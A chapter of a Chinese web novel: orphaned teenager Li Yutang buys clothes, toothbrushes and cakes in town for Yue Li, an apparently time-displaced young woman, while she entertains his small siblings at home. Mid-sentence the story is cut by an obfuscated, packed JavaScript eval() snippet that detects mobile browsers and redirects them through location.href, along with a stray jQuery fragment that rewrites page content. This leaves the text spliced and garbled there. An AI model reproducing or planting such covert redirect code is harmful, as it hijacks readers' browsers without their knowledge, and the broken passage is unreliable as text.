花了半个时辰走到镇上,李玉棠先去了成衣铺。
爹娘不在后,李玉棠和弟弟妹妹的衣裳都是他买了布匹找大伯娘做出来的。
最开始他也尝试过自己动手。
把娘做绣活用的物什一样样找出来,回忆她从前做衣裳的样子,左手拿布,右手拿着剪子,然后......李玉棠就着这个姿势发呆了一刻钟。
不小心摔倒的小眠儿膝盖痛得起不来,趴在地上喊了两声哥哥都没有得到回应,她见哥哥一动不动以为他也要死掉了,和爹娘当初一样,怎么喊都没有反应。
崩溃不已的小眠儿哭着对小宁儿说哥哥也要被埋进土里再也见不到了,什么都不知道的小宁儿见妹妹哭得伤心也跟着哇哇哭了起来。
从门口路过的邻居见李三家哭声震天,吓得连忙跑到李大家去叫人。李大和何金夏火急火燎赶到的时候就见大侄儿手里拿着布和剪子,正在无声地哭,一张稚嫩的脸上全是泪水。小侄儿和小侄女趴在地上嗷嗷地哭,嘴里还叫着什么哥哥不要死。
三弟和三弟妹不在了,年仅十四岁的侄儿成了家里的顶梁柱,李大夫妇很是心疼他。
见他手里举着剪子,李大怕他想不开,快步冲上前去把剪子夺了。何金夏也将地上的两个小娃娃抱起,红着眼睛给他俩擦脸擦鼻涕。
夫妇俩抱着三个侄子哭了好一会才平静下来。李大哑着声音问发生了什么,李玉棠哽咽着说是想爹娘了。望着侄儿和三弟三弟妹相似的眉眼,李大忍不住又要落泪。
小眠儿知道哥哥不会死了后就止住了哭泣,搂着李玉棠的腿说自己和宁宁会一直陪着他。
何金夏抱着懵懵懂懂的小宁儿在屋里环视一圈,问李玉棠拿针线是要缝什么,得知他是要做衣裳后哭笑不得。
哪有不知尺寸就胡乱开始做衣裳的。何金夏给三个侄子量了身围,告诉李玉棠以后他们仨的衣裳不用操心,她全给做了。
李玉棠不好意思麻烦大伯娘,推辞说自己会去学。何金夏“垮着脸”问他是不是把大伯娘当外人,李玉棠嗫嚅着不知如何开口。
何金夏说他们不肯跟着她去家里住就算了,连做几件衣裳也觉得是在麻烦人,问他是不是要和大伯一家断亲。
李玉棠这才没有拒绝,每次大伯娘给做了新衣裳后他都会送些东西到他们家。几捆柴火、两包糕点,多多少少都是他的心意。
何金夏也明白他是不想占便宜,便将这些都收了,时不时也会叫三兄妹来家里吃饭。
不过简单打个补丁李玉棠还是会的,平常弟弟妹妹的衣裳哪里破了都是他上手缝几针。
没有借口让大伯娘做两身女人的衣裳,李玉棠只能来成衣铺买现成的。他出门前就悄悄打量了一下岳梨的身高,在他肩头附近,只要比划给铺子里的伙计看看,让他们帮着选一下应该没问题。
这还是李玉棠第一次进成衣铺,他找了几个熟悉的店主打听,都说实景庄卖的女子衣裳好看又实惠。
实惠当然也只是和其他成衣铺相比,相较如自家裁布做衣裳那肯定是要贵上许多。
踏进成衣铺的瞬间李玉棠就被花花绿绿的各色衣裳迷花了眼,铺子里的顾客多是女子,掌柜的见他四处张望不知该看向何处的样子便前来询问。
“客官想买点什么?我们铺子襦衫褙子,长裙、旋裙、百叠裙应有尽有,您想先看看哪样?”
李玉棠对女子服饰了解不多,只能让掌柜的给他一一介绍。
掌柜的又问他是给谁买,对方多大年纪。
“给...给年轻...年轻女子买。”李玉棠道。
掌柜瞧他支支吾吾一脸羞涩的模样便了然于心,问道:“那位姑娘身量如何?”
李玉棠在自己肩头比了比,“大概这么高,身材...身材窈...窈窕。”
“了然了然,那颜色方面姑娘可有格外中意的?”
经掌柜的这么一问,李玉棠才想起自己就记着快点出门,也忘了问岳梨喜欢什么样式有没有偏好的颜色。
不过当时提起给她买衣裳时,她什么要求也没提,想必是不会太挑剔吧?
李玉棠想起岳梨那身奇怪的衣服上面有月白、天青和丁香几种颜色,便道:“她应该喜欢颜色浅一些的。”
“了然,您看看这些上襦,都是当下最时兴的。”掌柜的见李玉棠穿着普通便给他推荐了价位都在一百文左右的上襦,更贵的那些没有引他上前去看。
李玉棠一眼就相中了一件丁香色交领襦,颜色很衬她,“这件多少?”
掌柜直夸他好眼光,伸出了一根手指晃了晃,“这件便宜,只要一钱。”
李玉棠买过的布匹都在七八十文左右,一匹布可以做两身他的衣裳或着给弟弟妹妹做三四身。不过他也知道成衣不会便宜,这物价也在他的预算之内。
在掌柜的热情介绍中,李玉棠前前后后给岳梨挑选了两件上襦、两条石榴裙,足衣和鞋子也备了两套换洗。
掌柜见这位客官努力思索,似乎在想有没有什么遗漏的东西,便压低了声音问他:“客官,襕裙和裈裤您看看需不需要?
经掌柜这么一提醒,李玉棠才想起忘了这两样重要东西。
襕裙他是知道的,从前爹给娘洗衣服的时候他见过。只是现在突然给另一个年轻女子买这么隐私的衣物,李玉棠有些脸热。
“......要。”
希望她不要觉得自己浪荡。
买好了最近一月可以穿的衣物,李玉棠背着背篓走了。
掌柜送他出门,脸上堆满了笑容,“客官下次再来啊。”
“娘子,怎得如此高兴。”掌柜的丈夫笑脸盈盈地前来搂娘子胳膊。
“呵。”掌柜白了他一眼,甩开胳膊迎下一个顾客去了。
*
买衣裳一共花了九百八十三文,李玉棠又去牙刷铺买了四把新刷牙子。家里那三把毛都要秃了,是该换掉。
路过糕点铺子,李玉棠顿了顿,还是进去选了几样点心。
丰糖糕、栗子糕、镜面糕,分了两包装着。一包自家吃,一包送到大伯娘家去。大伯喜欢栗子糕,大伯娘和堂妹都喜欢镜面糕。堂弟那个顽劣的小子,前天逗哭了小宁儿,有他吃的就不错了。
今日共花了一两并七十二文,想到此刻家里有三个人等着他,李玉棠提着大包小包脚步轻快地回家去了。
*
岳梨陪着两个小朋友玩你挠我我挠你的游戏,没多久就累得气喘吁吁的。
“小朋友的精力太恐怖了。”岳梨瘫在床边感慨,脚尖一下一下点着地。
小眠儿让宁宁帮她把鸡毛插在头顶的小揪揪里,趴在床头和岳梨脸贴脸,“姐姐,你不玩了吗?”
岳梨摸着她肉嘟嘟的脸蛋子,充满悲伤地说:“姐姐好想玩手机。”
想到以后要过一段时间没有手机没有网络的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144261|196356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日子,岳梨只觉灵魂都要被抽走。
“瘦鸡?”
“嗯,哎,你还小,还没有被手机毒.害,不会懂的。”岳梨盯着小朋友疑惑的目光,声情并茂地开始吟唱:“手机啊~手机~没有你我该怎么活~”
小眠儿:“......姐姐,你生病了吗?”
小宁儿蹲在地上拿鸡毛尖尖刨地,附和道:“姐姐肯定生病了,那个疯伯伯就喜欢这么唱歌。”
李家村有个老男人,据说是老婆难产死后精神崩溃成了疯子。他每天就在村里游荡,和狗抢吃食,不过从来没有伤过人。村里人见了他都主动绕道走,并没有将他驱逐。
有一次,疯男人路过发现小宁儿在院子里挖蚯蚓,便停下脚步站在路边开始唱歌。小宁儿正挖得起劲,没有理他,男人见他没有反应,歌声越来越大,最后还是邻居出来把他赶走了。
“啊啊啊啊~啦啦啦啦~娘子啊~娃娃啊~”
一阵惊天地泣鬼神地歌声骤然响起,屋里的三人都吃了一惊。
“怎么了怎么了?来收我了?”岳梨抱着小眠儿坐起身,惊恐地四处张望。
“是那个疯伯伯在唱歌。”小宁儿捂住耳朵痛苦地晃脑袋。
“你们在哪里啊~娘子啊~娃娃啊~”
“你们去哪里了~”
“是因为我唱歌所以把他引来了吗。”岳梨有些歉疚。
小眠儿玩着她的睡衣安慰道:“姐姐不用担心哦,王伯伯一会就会把他赶走的。”
果然没多久,一道骂骂咧咧的粗犷男声响起,疯男人的歌声立马消失了。
“他走啦,姐姐我们来翻花绳。”
三人玩了一上午,眼看日头当空了,李玉棠还没有回来。
岳梨凑在窗户缝悄悄往外看,问和她挤在一起的两个小孩:“快中午了,你们哥哥还不回来,午饭怎么办?”
她一个大人中午不吃忍忍就过去了,但是小眠儿和小宁儿还不到五岁,这么小的年纪不吃午饭可不行。
“家里有吃的哟。”
小眠儿拉着岳梨往灶屋去,打开碗橱,指着一个大盆对岳梨说:“哥哥昨天烙的饼子,中午吃。”
有吃的就行,岳梨从盆里拿了一个出来。这饼挺大挺扎实,她掰成了三份,一人吃一块。
一大两小蹲在门后面啃饼子。
*
“吱呀”
“哎哟!”
岳梨被突然打开的门撞得一趔趄,还没啃完的饼子掉到了地上。
三人刚刚啃饼子啃得专心,谁也没注意到外面的脚步声。
而李玉棠心里也想着事情,没留神听门内悉悉索索的声响。他连忙把手里提着的东西放下,将还扑在地上的岳梨扶了起来。
“没事吧?”李玉棠神色紧张地盯着岳梨,不知道她有没有被撞伤。
“没事没事。”岳梨摆摆手,又眼疾手快地把地上的饼子捡起来抖抖灰塞进嘴里。
没超过三秒,还可以吃。
李玉棠注视着她的行为——
即便家庭很富有,却也不铺张浪费。
她的品行也如样貌那般美好。
李玉棠收回眼神,眼底闪过一抹黯然。
岳梨、小眠儿和小宁儿三人叽叽喳喳地围在背篓边看他都买了些什么回来。
一件又一件女人的衣裳被掏出来,岳梨心里只有一个念头——我这银镯子必须得卖了。